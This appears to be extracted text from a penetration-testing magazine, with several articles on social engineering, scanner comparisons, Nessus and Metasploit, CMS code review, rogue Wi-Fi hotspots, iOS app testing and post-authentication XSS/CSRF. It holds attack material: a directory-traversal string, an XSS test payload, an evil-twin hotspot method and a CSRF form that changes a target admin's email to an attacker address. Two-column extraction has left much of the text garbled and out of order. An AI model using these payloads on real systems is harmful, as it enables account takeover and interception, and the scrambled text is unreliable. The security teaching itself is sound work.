They Can Lead You to Success. New York: Warner Books.
• Burnham, Terry & Phelan, Jay. (2000). Mean Genes: From Sex to Money to Food Taming Our Primal Instincts. New York: Pen-
guine Books
• Briggs-Myers, Isabel & Myers, Peter. (1980) Gifts Differing: Understanding Personality Type. California: Davies-Black Publi-
shing.
• Carnegie, Dale. (1990). How to Win Friends and In�uence People. New York: Pocket Books.
• Dreeke, Robin. (November, 2011). It’s Not All About Me: The Top Ten Techniques for Building Quick Rapport With Anyone. Vir-
ginia: People Formula.
• Dreeke, Robin. (June, 2008). It’s All about Them: FBI Law Enforcement Bulletin.
• Dreeke, Robin & Navarro, Joe. (December, 2009). Behavioral Mirroring in Interviewing: FBI Law Enforcement Bulletin.
• Dreeke, Robin & Sidener, Kara. (November, 2010). Proactive Source Development: FBI Law Enforcement Bulletin.
• Glass, Lillian. (1995). Toxic People: 10 Ways of Dealing With People Who Make Your Life Miserable. New York: Simon and Schu-
ster
• Goldman, Daniel. (1995). Emotional Intelligence. New York: Bantam Books.
• Gosling, Sam. (2008). Snoop: What Your Stuff Says About You. New York: Basic Books
• Hadnagy, Christopher. (2011). Social Engineering: The Art of Human Hacking. Indiana: Wiley Publishing.
• Hoffer, Eric. (1989). The True Believer: Thoughts on the Nature of Mass Movements. New York: Harpers and Row, Publishers.
• Jaye, Aye. (1997). The Golden Rule of Schmoozing: The Authentic Practice of Treating Others Well. Naperville, Illinois: Source-
books.
• Keirsey, David & Bates, Marilyn. (1978). Please Understand Me: Character and Temperament Types. California: Prometheus
Nemsis Book Company.
• Kroeger, Otto, & Thueson, Janet M. (1988). Type Cast: The 16 Personality Types that Determine How We Live, Love, and Work.
New York: Dell Trade Paperback.
• Kushner, Harold S. (2001). Living a Life that Matters. New York: Anchor Books.
• Kushner, Harold S. (1986). When All You’ve Ever Wanted Isn’t Enough. New York: Fireside Books.
• Kushner, Harold S. (1980). When Bad Things Happen to Good People. New York: Avon.
• Lowndes, Leil. (2003). How to Talk to Anyone: 92 Tricks for Big Successes in Relationships. Columbus, Ohio: McGraw-Hill.
• McClish, Mark. (2001). I Know You Are Lying. Winterville, North Carolina: Policeemployment.com.
• Morris, Lois B., & Oldham, John M. (1995). New Personality Self-Portrait: Why You Think, Work, Love, and Act the Way You Do.
New York: Bantam Books.
• Napier, Michael R. (2010). Behavior, Truth and Deception: Applying Pro�ling and Analysis to the Interview Process. Boca Ra-
ton, Florida: CRC Press.
• Navarro. Joe. (2008). What Every Body is Saying: An Ex-FBI Agent’s Guide to Speed-Reading People. New York: Harper Collins.
• Nolan, John. (1996). Con�dential: Business Secrets: Getting Theirs – Keeping Yours. Medford Lakes, New Jersey: Yardley
Chambers.
• Rabon, Don. (2003). Investigative Discourse Analysis. Durham, North Carolina: Carolina Academic Press.
• Sheey, Gail. (1977). Passages: Predictable Crises of Adult Life. New York: Bantam Books.
Conclusion
In conclusion, building rapport is perhaps the most
important technique that Social Engineers use in
fulfillment of their jobs. Most every Pentester’s primary
goal is to successfully resolve security issues both
with hardware and people. Without the critical skill of
developing rapport, the formula for success quickly
breaks apart. These skills are exactly the same
that master spies use in their information gathering
missions.
The challenges of today’s cyber security specialists
are immense and ever growing. Possessing advanced
computer skills is critical in combating the growing cyber
threats facing both our country as well as the citizenry.
While trying to master these new critical technologies
it is very important to remember that few if any issues
are resolved without understanding the human hacking
vulnerabilities. The art form known as interpersonal
skills that has been illustrated here in a paint-by-number
format will hopefully help keep these critical skills fresh
and up to date as computer security specialists continue
to battle the threats to both individuals and institutions.
This article is meant for those new to social engineering
seeking a step-by-step procedure that is in keeping with
the time honored methods of building rapport as well as
for those senior mentors who have been using these
techniques for years and were looking for easy ways
to describe and pass on these great skills to those
they are mentoring. By mastering new technologies as
well as maintaining our mastery of interpersonal skills,
Social Engineers will be able to continue to provide the
excellent service and protection our communities and
country have come to expect from them.
ROBIN DREEKE
Robin Dreeke is a 15 year FBI Veteran, co-trainer of the new
Social Engineering For Penetration Testers Course, lead
trainer for interpersonal skills in the FBI as well as head of
the FBI’s Behavioral Analysis Program. Robin is a recognized
expert, author, and gifted lecturer in the art of interpersonal
communication. Robin is a frequent lecturer and trainer of
Social Engineering and advanced communication skills and
techniques across the country. Robin recently published
his book, “It’s Not All About Me: The Top Ten Techniques for
Building Quick Rapport with Anyone.” The book highlights
rapport building skills and inserts them into a workbook style
book with many fascinating and funny stories. Additionally,
there are practical exercises that can improve anyone’s ability
to develop great rapport.
Tool Jockeys in
Disguise
Defeating the Push Button Penetration Testers
What drives your search for a penetration tester? Was it a recent
security breach or a compliance requirement or maybe just a
conversation over a round of golf with someone that recently
underwent an assessment? No matter what is the reason you will
need someone who is not only competent and familiar with the latest
threats and technologies but also someone that can associate the
vulnerability you have with the business risk to your organization.
T
his message is meant for you, all of you. The on the engagement and the client. There have been times
CISO and the IT Director the decision maker where no tools were used at all during an engagement to
and the network administrator’s the people that exploit a site while other times a custom built script will be
man the front lines of the information security trenches. the most efficient way to go. You should pay less attention
If there was ever a time for you to take stock in your to tools and timing and more attention to what your end goal
information security capital it’s now! should be for the engagement. I know a lot of people have
What’s your security strategy? When was the last the check list mentality and want to see a set list of things
time it was tested and by whom? Was the individual or to do or a certain toolset that should be used during an
entity qualified? How did the results of that engagement engagement but if your pen tester’s sticks to one particular
positively impact the security strategy within your method or toolset I guarantee you he will miss things.
organization? If you can’t honestly answer those Penetrating testing tools are useful during an engagement
questions then you may want to take a second look at and they can be used to perform trivial tasks but they should
the vendor and your choice of penetration tester. not be the crux of a penetration testers skill set.
Do you know what to expect from your vendor and
penetration tester? Unfortunately many companies do The Right Questions?
not know what to look for when engaging an information Defining what you need to test is as important to your
security vendor for a penetration test or vulnerability security strategy as having the proper policies and
assessment and can only smile and thank the vendor procedures in place to govern the security of your
when handed a report with lots of vulnerabilities marked organization. If your development team just built a web
with highs, mediums and lows. As the customer you facing application for your sales division and you want to
need to understand how those vulnerabilities affect your
bottom line and your business.
WARDELL MOTLEY
Wardell Motley is a penetration tester
and security engineer at Accretive
Solutions Dallas a national consulting
and executive search �rm. He has
worked in information technology
and security for the past 8 years. He can be contacted at
Figure 2. Approach Versus Method wmotley@accretivesolutions.com.
On the Automated
Black-Box Security
Testing of Web Applications
L
ooking at things this way I cannot help associating The most common way of securing web applications
this picture with the use of satellites and state of is searching and eliminating the vulnerabilities within.
the art war gear to catch a caveman. Is there According to OWASP (Open Web Application Security
something we are missing? Project), the most efficient way of finding security
vulnerabilities in web applications is manual code review.
Introduction This technique is very time-consuming and requires
Web technologies and applications are used programming skills. An alternative approach is to use
extensively by business and governments all over the automated tools (fuzzers) that probe web applications
world. Online commercial sites, intranet and extranet for security vulnerabilities, without access to source
applications used by companies are almost all based code used to build the applications. This technique is
on these technologies. Today, new applications are known as back-box testing or fuzzing and represents
systematically developed with web technologies due to a cost and time effective method for detecting security
ease of implementation and use. vulnerabilities. There are a lot of good black-box web
Despite their advantages, web applications do raise a scanners available on the market, distinguished from
number of security concerns. Remote code execution, SQL one another by performance, platforms and price.
injection, Cross Site Scripting (XSS) and session hijacking Our study aims to determine which factors may influence
are few examples of web application vulnerabilities. the results are and how effective automated black-box
These vulnerabilities combined with the public access to testing of web applications is. To achieve these goals, six
web applications have made them a target of choice for well-known web vulnerabilities scanners were selected
hackers. The Gartner Group estimates that almost up to (Acunetix WVS v.7.0, Netsparker v.1.8.3.3, ProxyStrike
75% of attacks are now targeting these applications. v.2.1, Websecurify v 0.8, QualysGuard WAS and Outscan
An insecure web application may expose customer’s WAS) and tested against a common set of sample
personal data, confidential information, or lead to applications, in two different environments: in the lab and
fraudulent transactions. This may cause financial, legal in the safe wild (will be discussed later in the article).
and reputational damage for the application owner. To
prevent such consequences, web applications must be Web Vulnerabilities
designed, developed, installed and used in a secure The topic of web vulnerabilities is widely discussed in
manner. literature. Books like The Web Application Hacker’s
Figure 1. Graphical Representation of the Results The research only focused on the two most widespread
The reason for testing the scanners in the lab was that a red-flag vulnerabilities: XSS and SQLI. Thus, one of
vulnerable web application to which all the vulnerabilities the open-source scanners was intentionally picked
are known (both valid and false positives), could be because it can only detect SQLI and XSS.
scanned, whilst assuring an environment where the Before going any further we need to make the
scanners wouldn’t be censored by any firewall, IDS or IPS. following notes regarding the scanners:
“In the safe wild”(real testing conditions), namely • Acunetix WVS was tested with AcuSensor
Technology OFF, and Port Scanner OFF;
• Seven public intentionally-left-vulnerable sites were • ProxyStrike was tested using only manual crawling
picked: due to automated crawler inefficacity;
• testphp.vulnweb.com (owned by Acunetix) – • Websecurify and SaaS scanners support limited
further referred to as Site 1; configuration, so they were tested mainly in Point
• testasp.vulnweb.com (owned by Acunetix) – and Shoot mode;
further referred to as Site 2; • Netsparker’s results had to be divided into two
• testaspnet.vulnweb.com (owned by Acunetix) – subcategories (due to its official presentation – i.e.
further referred to as Site 3; false positive free scanner):
a d v e r t i s e m e n t
����������������
“We help protect critical infrastructure one byte at a time”
��������������������������������
PENTEST REGULAR
Table 1. “In the Lab” Detailed Scan Results
RXSS[1] SQLI[2] FP RXSS[3] FP SQLI[4] Detection rate False Positive
Total Vulns 66 136 7 20 RXSS + SQLI Detection rate
RXSS + SQLI
Acunetix 44 121 0 0 81,6% 0%
QualysGuard 39 80 3 2 58,9% 18.5%
Websecurify 22 80 3 10 50,4% 48,1%
ProxyStrike 61 46 7 0 52,9% 25,9%
Netsparker C. 42 41 132 128 0 0 6 0 86% 83,6% 22,2% 0%
N.C. 1 4 0 6 2,4% 22,2%
[1] Reflected Cross-Site Scripting Vulnerabilities [3] False Positive Reflected Cross-Site Scripting Vulnerabilities
[2] SQL Injection Vulnerabilities [4] False Positive SQL Injection Vulnerabilities
• Confirmed vulnerabilities; order to later analyze the gap between the two testing
• Non-confirmed vulnerabilities. sets.
After running the scans, the following results were
Testing Results obtained: Table 2.
In the Lab Results
This test was mainly aimed at thick clients, but during In the Lab vs. in the Safe Wild
testing, the same web application was managed to be After running all the detection rate percentages were
scanned with one of the SaaS scanners, QualysGuard compared in order to see how big is the gap, what
WAS. Please note that the SaaS scanning was could be the possible reasons for it, and if there are any
performed over the Internet (meaning there were possibilities to close this gap.
different testing conditions) as we did not have any
access to either of the SaaS’ Internal Appliances, and Causes that Can Influence Results
this may have influenced the rate of detection. After analyzing the results, there are only two causes
After running the scans, the following results were identified for the results (scanner independent): Web
obtained: Table 1. application stability and connection.
As it can be seen, in the lab, up to almost 84%
of existing vulnerabilities can be detected by using Web Application Stability
only one scanner. But these are the easy-to-detect Whilst running in the safe wild tests a part of one site
vulnerabilities (the low hanging fruits, as they are became unavailable, thus causing some scanners
called), leaving us to further deal with the top 16% to miss a part of the vulnerabilities. This issue was
difficult-to-detect vulnerabilities. noticed due to significant results difference between
scanners. Some scanners had an unexplainable low
In the Safe Wild Results detection rate whilst other scanners, just minutes
This test targeted all scanners and its purpose was to before, performed very well. The tests had to be
see how the scanners would behave in real working redone when all pages of the web application were
conditions and what results they will manage to pull in available (manual check).
Table 2. “In the Safe Wild” Detailed Results
Site 1 Site 2 Site 3 Site 4 Site 5 Site 6 Site 7 Detection Rate
Total vulns 29 22 8 3 4 26 27
Acunetix 21 14 6 2 2 11 12 57,1%
QualysGuard 22 7 1 2 2 5 13 43,6%
Websecurify 10 11 2 0 0 3 5 26%
ProxyStrike 6 6 4 2 2 8 8 30,2%
Netsparker C. 15 14 14 12 7 7 3 3 4 4 11 8 9 6 52,9% 45,3%
N.C. 1 2 0 0 0 3 3 7,6%
Outscan 10 9 0 2 2 5 4 26,8%
a d v e r t i s e m e n t
Bibliography
• Top 25 MITRE, http://cwe.mitre.org/top25/ [1]
• OWASP Top 10, https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project [2]
• Nenad Jovanovic, Christopher Kruegel, and Engin Kirda, Pixy: A static analysis tool for detecting web application
vulnerabilities (short paper) [3]
• Sumit Siddharth, Pratiksha Doshi, Five common Web application vulnerabilities [4]
• OWASP Vulnerabilities Listing, https://www.owasp.org/index.php/Category:Vulnerability [5]
• Andres Andreu, Professional Pen Testing for Web Applications [6]
• Nenad Jovanovic, Christopher Kruegel, Engin Kirda, Static analysis for detecting taint-style vulnerabilities in web
applications, Journal of Computer Security 18 (2010) 861–907 [7]
• Huang, Y.-W., Yu, F., Hang, C., Tsai, C.-H., Lee, D.-T., Kuo, S.-Y., Securing web application code by static analysis and runtime
protection. In: WWW ‘04: Proceedings of the 13th International Conference on World Wide Web (2004) [8]
• Web Application Vulnerability Scanner Evaluation Project, http://code.google.com/p/wavsep [9]
more major vulnerabilities (SQLI’s and XSS’) which locations, in order to make sure the scanner reports
may be critical to the web application. the real security situation of the web application. The
scanning location can physically be anywhere in the
Conclusion world, but judging by the active nodes between the web
If manual crawling is not being used, the crawler’s results application and scanner, their number should be as
have to be checked in order to see if it managed to detect small as possible.
all the pages of the web application. If it fails to detect In order to simply avoid these issues, all web
some of the pages then it should be checked if they are applications can be carefully tested “in the lab”, before
available and maybe a manual crawl should be performed deployment, by the developers or a security team
instead. Another aspect of this issue is scanning should working together with developers.
be performed by someone who knows the web application In this particular case, black-box automated testing
and is able to notice any crawling losses (issues). managed to detect up to 80% of existing vulnerabilities
Regarding the connection issue, if possible, the (in the lab), thus making it an effective way to start
scanning could be performed from two different securing web applications. Depending on the complexity
of a web application and the value of the information
that needs to be protected (security budget should
also be taken into account), using this method alone
is sometimes not enough to obtain a fully-secured web
application and may have to be used alongside black-
box manual testing and white-box testing.
CRISTIAN OPINACRU
Cristian Opinacru is a lecturer at the
Romanian Military Academy, while at the
same time working for Thales Systems. He
holds a PhD degree from the University of
Figure 3. Graphical Representation of the Comparison
German Armed Forces in Munich and an
engineering degree from the Politehnica
University of Bucharest. He is the author of three books and
several research articles. His is interested in Security, Web and
Software Architecture.
CRISTIAN TANCOV
Cristian Tancov is a Romanian information security auditor.
Among several diplomas, he holds an “Information security”
masters degree from Romanian Military Academy with
specialization in “Web applications security testing”. His work
is highly appreciated and is often invited to hold presentations
Figure 4. Graphical Representation of Location Results regarding his activity at international events.
From Footprinting to
Exploitation
In this article, you will read about penetration testing with Nessus
and Metasploit.
I
n this article I will present an overview of Nessus 4.4. Installation
I will describe installation and usage of it, and how Installation process takes a while, because Nessus
to perform penetration tests by combining Nessus downloads all the plugins from its server. Nessus
with Metasploit. Nessus is a proprietary vulnerability runs as a web based application with a single system
scanning program. It was first developed in 1998 as a service under Windows. After the installation we need to
freeware security scanner by Renaud Deraison. Nessus register at Tenable website to obtain the activation code
quickly become one of the most popular network
security scanners. Today, it still is free for personal use,
but commercial users must pay a fee.
Features
Nessus is based on a client/server architecture. It lets
users run the administrative panel, which executes
vulnerability scans and holds databases on a machine
other than the server. Client front ends are available
for Java, Win32, and X11. This makes Nessus a
cross-platform tool that can scan Linux, Windows, and
Unix hosts. Nessus provides an astonishing quantity
of customized tests called plugins. Those plugins
scan and report for over 34,000 vulnerabilities. This
includes scanning for vulnerabilities in routers, CGI
scripts, buffer overruns, remote-access connections,
back doors, RPC, and SNMP. Nessus offers a wealth
of configuration and scanning options, though some
users might find them overwhelming. An administrator
may need to devote a significant amount of time
learning the intricacies of the application to use it most
effectively. Figure 1. Nessus Server Manager
for Nessus. Before launching the client application it is Figure 4. Plugin selection during policy creation
advised to check out the settings in the Nessus Server
Manager. We can add users with different privileges the whole families of plugins and single ones as well
there, set up update options etc. (Figure 1). (Figure 4).
After starting the client application, Nessus opens in Each plugin has a description which contains of
the default web browser and we can now log in with our synopsis, description and solution.
created user (Figure 2). The last tab is Preferences, which includes means
for granular control over scan settings. Selecting an
Usage of Nessus item from the drop-down menu will display further
Once a user is logged in, they can navigate the easy to configuration items for the selected category. Note
use interface to create policies, run scans, view reports that this is a dynamic list of configuration options that
and manage users. Policies are the key part of Nessus. is dependent on the plugin feed, audit policies and
The Policy specifies what and how to scan. After typing a additional functionality that the connected Nessus
name for a policy, you decide which credentials the policy scanner has access to.
should use to connect to your target machines. You also After creating a policy, users can initiate a scan. To set
use the policy to set up groupings of vulnerability tests to up a scan we just need to input scan name, type scan
run. For example, you may have a policy that only targets type where we choose between Run Now (immediately
Web server vulnerabilities and one policy that targets execute the scan after submitting), Scheduled (choose
databases. Policies are easy to setup, but offer several the time the scan should begin) or Template (save as a
options for customizing performance. template for repeat scanning). Next step is to choose
On the first screen of policies there are general the previously created policy that the scan will use to
options such as methods for port scanning, port range set parameters controlling Nessus server scanning
etc. (Figure 3). behaviour. The last step is to set up the scan targets. We
The second bookmark is Credentials. You can can enter there a single IP address (e.g., 192.168.0.1),
select and enter different credential types there, such IP range (e.g., 192.168.0.1-192.168.0.255), subnet with
as Windows credentials, SSH settings, Kerberos CIDR notation (e.g., 192.168.0.0/24) or resolvable host
configuration and Cleartext protocol settings. By (e.g., www.nessus.org). We can also load a text file with
configuring credentials, it allows Nessus to perform list of hosts (Figure 5).
a wider variety of checks that result in more accurate After launching the scan we have to wait for some
scan results. However the most important bookmark is time depending on the amount of plugins and options
Plugins. You can select which vulnerabilities you want we have chosen in our policy. Once a scan is complete,
to check in this policy. Here you can enable or disable
msf > search exploits Microsoft Windows Authenticated User Code Execution
a d v e r t i s e m e n t
������������������������������������������������
���������������������������������
���������������������������������������������������������
������������������������������������������������������
���������������������
����������������
����������������
�������������
����������������
����������������������
PENTEST EXTRA
Web Application
Security
Source Code Testing
In this short article we’ll learn how to check whether the web
application is vulnerable to Internet attacks. “Why should I test the
software on my own?” The need is obvious if we use open source
software. For example, our company is engaged in IT outsourcing.
B
y using our web site, managers can send us read this documents, you should really do it. It will helps
their documents and resume. In our web page, you to get more knowledge about insecurity in web
we have installed and configured some kind of applications.
popular CMS (Content Management System).
But what will be in the situation when we do not test What do we need?
our CMS for security vulnerabilities? What if someone Beside of knowing OWASP’s documents, good
else will do this? The answer is: someone will know point here is to buy (or find at Google ;)) this book:
where in our version is vulnerability – we will not. Just
imagine then, how we present the image of confidential
of our company? Let’s say this person who check
software for security bugs is a bad hacker working for
some competitive firm (IT outsourcing too). Can they
grab all our resumes or not?
OWASP TOP 10
Basically OWASP Testing Guide 3 said: The most
common web application security weakness is the
failure to properly validate input coming from the client
or environment before using it. This weakness leads to
almost all of the major vulnerabilities in web applications, Figure 1. knewme3.py help
such as cross site scripting (XSS), SQL injection,
interpreter injection, locale/Unicode attacks, file system
attacks, and buffer overflows.
We can find a lot of interesting documents about
web application security, exploitation and method
of prevention at OWASP’s site. One of them is
OWASP TOP 10 (this one and others you can find at
www.owasp.org). If You don’t know this site and don’t Figure 2. Enticore CMS available at http:// sourceforge.net
i=1
v = vulnline.strip()
for line in stri: # for $line.find(?) in str=filedsk
if line.find(v) != -1:
print ""
print " <table border=\"1\">"
print " <tr bgcolor=\"teal\">"
print " <th>line</td><td>check this</th>"
print " </tr><tr bgcolor=\"white\">"
print (" <td> %d </td><td> %s </td>") % (i,line)
print "<br>"
print " </tr>"
print " </table>"
print "</body></html>"
i+=1
# ----------------------------------------------------------- end of for...
print ""
print "[+] vulnerable function list : vuln.php_list"
print ""
# -- end of last elif
else :
assert False, "unhandled option"
Any defense?
Think. It is Your power. Try to
understand that attackers can
place payload for LFI/RFI/XSS/
Figure 9. Successful XSS attack
SQL injection, and so much other
types of web attack in any of
Nice to know your input field. So validate them
• http://owasp.org and be careful. If You miss some
• http://securityreason.com parameters or form field, someone
• http://sourceforge.net
• http://google.com won’t do it, be cause like they say:
A chain is only as strong as its
weakest link.
So maybe we should check if there is an option to
put $dir, to somewhere else than ‘ ’. Log in to web
application to do this test (this vulnerability exist for
logged only users).
For this test let’s use simple directory traversal
attack: ../../../../../../../../../../../../../../. If
vulnerability really exist we should see a root directory
listing (/).
It looks like we have found a security vulnerability in
source code! This kind of vulnerability is described as a
Directory Traversal Attack (http://en.wikipedia.org/wiki/
Directory_traversal_attack).
Lets try another one parameter founded by
knewme3.py. For this test quite interesting is $site
parameter. For this one we don’t have to be logged in.
Like we see in source code and html output log from
script, we have few if()’s for $site parameter.
But wait for a moment. Let’s look at this little closer:
we have if 1, else if 2, else if 3, and so on, but what if
we put to $site some text that is not coded to if/else
behavior in PHP application?
To check it, just go visit Your http://192.168.1.4/
enticore-0.8/index.php\ ?plugin=EnticorePluginUpload&site
=SOME%20RANDOM%20TEXT&dir=yo.
Like You will see there is an error for not coded to if/
else behavior’. This error gives us exactly this text, that
we’ve put in URL. Ok, so if there is PHP code working
like an echo for value putted to $site, we are going JAKUB GAŁCZYK
to check next thing. Will this application echo back Jakub is working for goverment, banks, and �nancial
<script>alert(123)</script>? companies as an independent IT Security consultant.
Sure it will be! And once again be cause of no proper Free time he is spending at writing tools and exploits for next
validation there is another hole in this CMS. This projects.
one is described as an Cross Site Scripting (https:// jakub.galczyk@gmail.com, http://hauntit.blogspot.com
D
espite the fact that companies, governments, used by intruders to investigate the security gaps, and
and individuals around the world are anxious to vulnerabilities without damaging the target systems or
be a part of such revolution, there are always steal information. Once such process is complete, the
a fear of hackers who will break into their web servers security team will report back to the owners with the
and steal their data and sensitive information. With vulnerabilities they found and instructions on how to
these concerns and others, the ethical hacker can help eliminate such security gaps.
eliminate such fear, and introduce different solutions to
these problems. What is Ethical Hacking do?
Professional ethical hackers possess a variety of
Introduction skills and must be completely trustworthy since while
With the fast growth of the Internet technologies, testing the client’s systems security they may discover
computer security has become a major concern for information about their clients that should remain
governments and business where the possibility of being secrets. The publication of such information could lead
hacked is proportional to the security implemented in to real intruders to break into the clients’ systems and in
their infrastructure. In addition to the above concern, the most cases lead to financial losses. Ethical hackers must
potential customers of the services provided by these be trusted to exercise tight control over any information
entities are worried about maintaining control of their that might be a target of misused by intruders. Due to
personal information that can vary from social security the sensitivity of the information gathered during the
numbers, to credit card numbers to home addresses. evaluation of the vulnerable systems, strong measures
In an effort to find a proper approach to the problem, are required to be taken into considerations to ensure
organizations came to realize that on of the best solution that the security of the systems being employed by the
to the problem is to evaluate the intruder threat where ethical hackers are intact. During the evaluation of a
computer security professionals can be hired to attempt system’s security, the ethical hackers seek the answers
to break into their computer systems. Such approach to some of the following questions:
is similar to having independent auditors to verify an
organization’s bookkeeping records. With the same • What can an intruder see on the target systems?
concept, professional security team We call them ethical • What can an intruder do with the information
hackers will employ the same tools and techniques captured?
a d v e r t i s e m e n t
PENTEST EXTRA
Is That A Phone In
Your Pocket
Or Are You Scanning My Network?
H
owever, given the proliferation of mobile devices
in the workplace and use of Wi-Fi networks
inside of an office, attacking from inside the
network provides unique opportunities. Smartphones
have become much more powerful over the past few
years, with powerful processors and a plethora of
hardware at your fingertips. Combine this power into a
compact unit with the right apps you can scan a network
from the inside in seconds along with several other new
types of attacks and information gathering.
Mobile devices have accelerated productivity as they
move to replace many of the other devices we used
to carry in a small package. Most phones have Wi-
Fi capability, cameras, mass storage capability and a
persistent internet connection via 3G and 4G and allow
a wide number of applications and if rooted provide
many of the same tools as a computer, but with more
hardware and network capabilities. These conveniences
also carry over to make them an very powerful tool to
use in penetration tests, more powerful I would argue
than a laptop, as a mobile device can be easily hidden
on your person, or inside of an office building.
Most organizations spend a great deal of money and
time focusing on protecting their networks form outside
threats, making sure the hackers outside cannot get in.
However, security inside the network is generally lacking,
both physical security and network security. Security is
generally more relaxed inside an office because of the Figure 1. Ordinary cell phone can be a powerful tool
Wi-Fi Sniffing
Network Spoofer also allows you redirect all network
traffic directly to the phone. The packet data can then be
logged by packet sniffer application such as Shark for
root which is one of the better apps I found for this task.
The issue with using ARP Spoofing for this however is
that it can slow or cripple the network.
A better route for packet sniffing is to create a Wi-
Fi hotspot on the device itself. A great thing about a
rooted Android phone is the ability for it to be an ad-
hoc Wi-Fi hot spot. By creating an open Wi-Fi hot spot
on the device that has a similar name to an existing
on in the office, or one that simply one that looks like
a guest account (Acme-Guest) allows you a great way
to intercept a great deal of traffic from users duped into
connecting to it. There are a number of packet sniffing
apps available for Android, the best I have found is
Shark for root, which logs the pcap file to the SD card of
your device. There is also a Shark Reader application
that allows you to read the pcap files, however you will
probably want to copy the files over to your laptop via
FTP etc and view them in Wireshark.
The one thing I hate about Shark for root is that as
it is a free app ads appear at the top, this can actually
mess with capture. The fact you have ads running in
a security app is wrong for many reasons, I wish they
Figure 6. Con�guring Wi-Fi hotspot would offer a paid for version of the app without ads.
Penetration Testing
for iPhone and iPad Applications
T
he mobile application market is expected to including banking and trading. A plethora of companies
reach a size of $9 billion by the end of 2011 are rushing to capture a piece of the pie by developing
(http://www.mgovworld.org/topstory/mobile-ap new applications, or porting old applications to work
plications-market-to-reach-9-billion-by-2011) with the with the smartphones. These applications often deal
growing consumer demand for smartphone applications, with personally identifiable information (PII), credit card
and other sensitive data.
This article focuses specifically on helping security
professionals understand the nuances of penetration
testing iPhone/iPad applications. It attempts to cover
the key steps the reader would need to understand
such as setting up the test environment, installing the
simulator, configuring the proxy tool and decompiling
Figure 1. iPhone SDK Installer Figure 2. Location of all the iPhone tools installed with the SDK
the application does not use such libraries, then Clang �������������������������
should be used. Static Analysis technique could be ��������������������
leveraged to uncover issues such as memory leaks,
uninitialized variables, dead code, type mismatch, buffer
overflows etc. This could be done using Xcode if source
code of the application is available. The static analyzer
travels down each possible code path, identifying logical
��������
errors such as memory leaks. This could be performed � �������������������������������
using the Build > Build Analyze menu option as shown �
����������������������������������
in the Figure 14 and Figure 15. �
��������������������
Dynamic Analysis
��
���������������������
�����������������
��
������������������������������������������
Figure 16. Shows use of different instruments �����������������
• File Activity: Records file open, close and stat • Statistical sampling of your application over a
operations. This is similar to diskmon that we period of time
use in windows for thick client testing. It lets you • System-level tracing
identify the files generated and processed by the • Malloc tracing
application. It is a great tool to identify files that may • Static analysis
• L2 Cache profiling
• Java code analysis
Figure 18. Using Shark for Dynamic Analysis Figure 20. Automatic screenshots and its location
Figure 22. Cached PDF �le with Account Number information Figure 24. Userid stored in the .plist �le
KUNJAN SHAH
Kunjan Shah is a Principal Consultant at Foundstone
Professional Services, A division of McAfee based out of
the New York office. Kunjan has over 6 years of experience
in information security. He has dual Master’s degree in
Information Technology and Information Security. Kunjan
has also completed certi�cates such as CISSP, CEH, and
CCNA. Before joining Foundstone Kunjan worked for
Cigital. At Foundstone Kunjan focuses on web application
penetration testing, thick client testing, mobile application
testing, web services testing, code review, threat modeling,
risk assessment, physical security assessment, policy
development, external network penetration testing and other
Figure 26. Location of the system.log �le service lines.
Guaranteed Access
Everyone has different ideas of what physical security is, what it
encompasses, and how to exploit it. It can include a wide range of
exploits, many being surprisingly simple. Regardless of method,
going after physical security in a PenTest often proves one of the
easiest ways to gain access to a network. Sometimes physical
exploits are almost looked on as cheating, simply because some of
them are so simple, so obvious, and yet completely unprotected.
W
ith the advent of Svartkasts and PwnPlugs, targets such as the Nuclear Power plants in Iran, and
physical security is no longer a boring subject the U.S. Governments Secret SIPR networks being
for pentesters. To pentesters these devices victims to physical layer compromise. If there’s one
are some of the most exciting exploits at any level. guaranteed way to gain access to any network, it’s with
To businesses they’re a nightmare. The criticality of a physical layer exploit. Everyone has different ideas
physical security can’t be overstated, with high value of what physical security is, what it encompasses, and
T
his situation is probably aggravated by some • Only 32% of post-authenticated vulnerabilities were
misinformation websites and some self- fixed during the first and second quarter of 2011.
proclaimed security experts, which try to deny • However, 65% were fixed during the third and
disclosed vulnerabilities by posing them as a feature fourth quarter of 2011.
implemented by design. The problem is that they simply
do not understand the exploitation’s vectors of these The goal of this article is to demonstrate the real
vulnerabilities and they consider them as benign, as danger of post-authenticated vulnerabilities. We will
long as they impact webpages which do not remain not explain the basics of web application attacks in
available to unauthenticated users. this article, as that has already been done many times
In the past year, High-Tech Bridge SA Security before by others. We will focus on a practical way to
Research Lab has been performing vendor awareness exploit post-authentication XSS’s and CSRF, which
on a non-profit bases, explaining that post-authentication remain a highly underestimated attack vector in the
vulnerabilities are dangerous and they should be fixed. security scene.
This case-by-case approach is paying off by vendor’s
patch statistics for our Security Advisories: Post-authentication XSS
Let’s start with something very simple. One of the
most popular post-authentication vulnerabilities is
XSS (Cross Site Scripting). This type of vulnerability
is a perfect attack against web-site administrators.
Actually, despite the limited exploitation’s vector
(against website administrators only), our Research
Lab assigns a medium risk level (for a standard XSS)
to these vulnerabilities for the simple reason that the
most efficient exploitation vector of XSS is carried out
against website administrators, not against common
users.
For our example, we will take an old version of
Figure 1. Testing the Proof of Concept Zikula, which is vulnerable to XSS against website
root@hackserver:/var/www/hackhost# ls -la
drwxrwxrwx 2 root root 4096 2012-01-01 00:00 .
drwxrwxrwx 17 root root 4096 2012-01-01 00:00 ..
-rw-rw-rw- 1 root root 277694 2012-01-01 00:00 1.jpeg
-rw-rw-rw- 1 root root 288 2012-01-01 00:00 1.jpg
-rw-rw-rw- 1 root root 78 2012-01-01 00:00 c.php
-rw-rw-rw- 1 root root 37 2012-01-01 00:00 .htaccess
root@hackserver:/var/www/hackhost# ls -la
drwxrwxrwx 2 root root 4096 2012-01-01 00:00 .
drwxrwxrwx 8 root root 4096 2012-01-01 00:00 ..
-rw-rw-rw- 1 root root 50935 2012-01-01 00:00 1.jpeg
-rw-rw-rw- 1 root root 118 2012-01-01 00:00 1.jpg
-rw-rw-rw- 1 root root 1109 2012-01-01 00:00 form.html
-rw-rw-rw- 1 root root 38 2012-01-01 00:00 .htaccess
<html>
<body>
<form action="http://targethost/panel.php?act=editprofile" method="post" name="main" id="main">
<input type="hidden" name="displayed_name" value="admin">
<input type="hidden" name="real_name" value="">
<input type="hidden" name="avatar_remote" value="">
<input type="hidden" name="birthday_month" value="">
<input type="hidden" name="birthday_day" value="">
<input type="hidden" name="birthday_year" value="">
<input type="hidden" name="location" value="">
<input type="hidden" name="website" value="">
<input type="hidden" name="occupation" value="">
<input type="hidden" name="interests" value="">
<input type="hidden" name="signature" value="">
<input type="hidden" name="email" value="hacker@hack.host">
<input type="hidden" name="msnm" value="">
